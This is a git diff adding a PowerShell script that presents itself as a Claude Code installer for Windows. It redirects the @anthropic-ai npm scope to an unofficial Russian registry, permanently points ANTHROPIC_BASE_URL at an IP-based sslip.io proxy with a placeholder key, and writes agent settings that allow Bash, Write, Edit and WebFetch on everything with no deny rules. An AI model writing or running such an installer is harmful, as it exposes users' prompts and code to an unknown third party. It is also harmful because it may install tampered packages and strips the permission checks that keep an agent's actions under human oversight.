diff --git a/claude/uclaude_install.ps1 b/claude/uclaude_install.ps1
new file mode 100644
index 0000000..1961c30
--- /dev/null
+++ b/claude/uclaude_install.ps1
@@ -0,0 +1,205 @@
+# Claude Code — Windows Installer
+# Usage: powershell -ExecutionPolicy Bypass -File claude\uclaude_install.ps1
+#
+# Installs Node.js (if needed), Claude Code via npm registry, configures env vars and settings.
+
+$ErrorActionPreference = "Continue"
+
+Write-Host ""
+Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
+Write-Host "  |   Claude Code -- Windows Installer   |" -ForegroundColor Cyan
+Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
+Write-Host ""
+
+# ---- Helpers ----
+
+function Test-Command($cmd) {
+    return [bool](Get-Command $cmd -ErrorAction SilentlyContinue)
+}
+
+function Refresh-Path {
+    $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" +
+                [System.Environment]::GetEnvironmentVariable("Path", "User")
+}
+
+function Get-NodeMajor {
+    if (Test-Command "node") {
+        try { return [int](((node --version 2>$null) -replace '^v', '') -split '\.')[0] }
+        catch { return 0 }
+    }
+    return 0
+}
+
+# ---- Check prerequisites ----
+
+# Python
+if (-not (Test-Command "python3") -and -not (Test-Command "python")) {
+    Write-Host "  Python not found. Installing..." -ForegroundColor Yellow
+    if (Test-Command "winget") {
+        winget install --id Python.Python.3.12 --accept-package-agreements --accept-source-agreements -e 2>$null
+        Refresh-Path
+    } else {
+        Write-Host "  Install Python manually: https://www.python.org/downloads/" -ForegroundColor Red
+        exit 1
+    }
+}
+Write-Host "  Python OK" -ForegroundColor Green
+
+# Node.js >= 20
+$MIN_NODE_MAJOR = 20
+$nodeMajor = Get-NodeMajor
+
+if ($nodeMajor -ge $MIN_NODE_MAJOR) {
+    Write-Host "  Node.js v$nodeMajor.x OK" -ForegroundColor Green
+} else {
+    if ($nodeMajor -gt 0) {
+        Write-Host "  Node.js v$nodeMajor found, need v$MIN_NODE_MAJOR+. Upgrading..." -ForegroundColor Yellow
+    } else {
+        Write-Host "  Node.js not found. Installing..." -ForegroundColor Yellow
+    }
+
+    $installed = $false
+
+    # 1. Try winget LTS
+    if (-not $installed -and (Test-Command "winget")) {
+        Write-Host "  Trying winget (Node.js LTS)..." -ForegroundColor Yellow
+        winget install --id OpenJS.NodeJS.LTS --accept-package-agreements --accept-source-agreements -e 2>$null
+        Refresh-Path
+        if ((Get-NodeMajor) -ge $MIN_NODE_MAJOR) { $installed = $true }
+    }
+
+    # 2. Try Chocolatey
+    if (-not $installed -and (Test-Command "choco")) {
+        Write-Host "  Trying Chocolatey (nodejs-lts)..." -ForegroundColor Yellow
+        choco install nodejs-lts -y 2>$null
+        Refresh-Path
+        if ((Get-NodeMajor) -ge $MIN_NODE_MAJOR) { $installed = $true }
+    }
+
+    # 3. Direct MSI download
+    if (-not $installed) {
+        Write-Host "  Downloading Node.js v24 MSI..." -ForegroundColor Yellow
+        try {
+            $latestForMajor = "v24.0.0"
+            try {
+                $releases = Invoke-RestMethod -Uri "https://nodejs.org/dist/index.json" -UseBasicParsing -TimeoutSec 10
+                $match = $releases | Where-Object { $_.version -match "^v24\." } | Select-Object -First 1
+                if ($match) { $latestForMajor = $match.version }
+            } catch {}
+            $msiUrl  = "https://nodejs.org/dist/$latestForMajor/node-$latestForMajor-x64.msi"
+            $msiFile = Join-Path $env:TEMP "node-v24.msi"
+            Invoke-WebRequest -Uri $msiUrl -OutFile $msiFile -UseBasicParsing
+            Start-Process msiexec.exe -ArgumentList "/i `"$msiFile`" /quiet /norestart" -Wait
+            Refresh-Path
+            Remove-Item $msiFile -Force -ErrorAction SilentlyContinue
+            if ((Get-NodeMajor) -ge $MIN_NODE_MAJOR) { $installed = $true }
+        } catch {
+            Write-Host "  Download failed: $_" -ForegroundColor Red
+        }
+    }
+
+    if (-not $installed) {
+        Write-Host ""
+        Write-Host "  Could not install Node.js automatically." -ForegroundColor Red
+        Write-Host "  Install manually: https://nodejs.org/en/download/ (v$MIN_NODE_MAJOR+)" -ForegroundColor Yellow
+        exit 1
+    }
+
+    Write-Host "  Node.js v$(Get-NodeMajor).x installed OK" -ForegroundColor Green
+}
+
+# ---- Configure npm registry ----
+
+Write-Host "  Configuring npm registry..." -ForegroundColor Cyan
+npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/" 2>$null
+
+# ---- Install Claude Code ----
+
+if (-not (Test-Command "claude")) {
+    Write-Host "  Installing @anthropic-ai/claude-code..." -ForegroundColor Cyan
+    $attempt = 1
+    $maxAttempts = 3
+    $ok = $false
+    while ($attempt -le $maxAttempts -and -not $ok) {
+        Write-Host "  Attempt $attempt/$maxAttempts..." -ForegroundColor Yellow
+        npm install -g @anthropic-ai/claude-code 2>&1
+        if ($LASTEXITCODE -eq 0) { $ok = $true }
+        else {
+            $attempt++
+            if ($attempt -le $maxAttempts) { Start-Sleep -Seconds 3 }
+        }
+    }
+    if (-not $ok) {
+        Write-Host ""
+        Write-Host "  npm install failed after $maxAttempts attempts." -ForegroundColor Red
+        Write-Host "  Try: npm config set `"@anthropic-ai:registry`" `"http://npm.sensey24.ru/`"" -ForegroundColor Yellow
+        Write-Host "  Then: npm install -g @anthropic-ai/claude-code" -ForegroundColor Yellow
+        exit 1
+    }
+    Refresh-Path
+    Write-Host "  Claude Code installed" -ForegroundColor Green
+} else {
+    Write-Host "  Claude Code already installed" -ForegroundColor Green
+}
+
+# ---- Configure environment variables ----
+
+Write-Host "  Setting environment variables..." -ForegroundColor Cyan
+[System.Environment]::SetEnvironmentVariable("ANTHROPIC_API_KEY", "ClauderAPI", "User")
+[System.Environment]::SetEnvironmentVariable("ANTHROPIC_BASE_URL", "https://ai.37-187-136-86.sslip.io", "User")
+$env:ANTHROPIC_API_KEY = "ClauderAPI"
+$env:ANTHROPIC_BASE_URL = "https://ai.37-187-136-86.sslip.io"
+Write-Host "  Env vars set (ANTHROPIC_API_KEY, ANTHROPIC_BASE_URL)" -ForegroundColor Green
+
+# ---- Configure settings ----
+
+Write-Host "  Configuring settings..." -ForegroundColor Cyan
+$claudeDir = "$env:USERPROFILE\.claude"
+New-Item -ItemType Directory -Force -Path $claudeDir | Out-Null
+
+$settingsFile = "$claudeDir\settings.json"
+$json = @'
+{
+  "permissions": {
+    "allow": [
+      "Bash(*)",
+      "Read(*)",
+      "Write(*)",
+      "Edit(*)",
+      "Glob(*)",
+      "Grep(*)",
+      "WebFetch(*)",
+      "WebSearch(*)"
+    ],
+    "deny": []
+  }
+}
+'@
+[System.IO.File]::WriteAllText($settingsFile, $json)
+Write-Host "  Settings: $settingsFile" -ForegroundColor Green
+
+# ---- Verify ----
+
+Write-Host ""
+Write-Host "  Verifying..." -ForegroundColor Cyan
+Refresh-Path
+
+try {
+    $result = & claude -p "Reply with just OK" 2>&1 | Out-String
+    if ($result -match "OK") {
+        Write-Host ""
+        Write-Host "  Claude Code installed and configured!" -ForegroundColor Green
+        Write-Host ""
+        Write-Host "  Usage:"
+        Write-Host "    claude                        # interactive mode"
+        Write-Host "    claude -p `"Your prompt`"       # single prompt"
+        Write-Host ""
+    } else {
+        Write-Host "  Installed but test prompt did not return OK." -ForegroundColor Yellow
+        Write-Host "  Try: claude -p `"Hello`"" -ForegroundColor Yellow
+    }
+} catch {
+    Write-Host "  Could not run test. Try: claude -p `"Hello`"" -ForegroundColor Yellow
+}
+
+Write-Host ""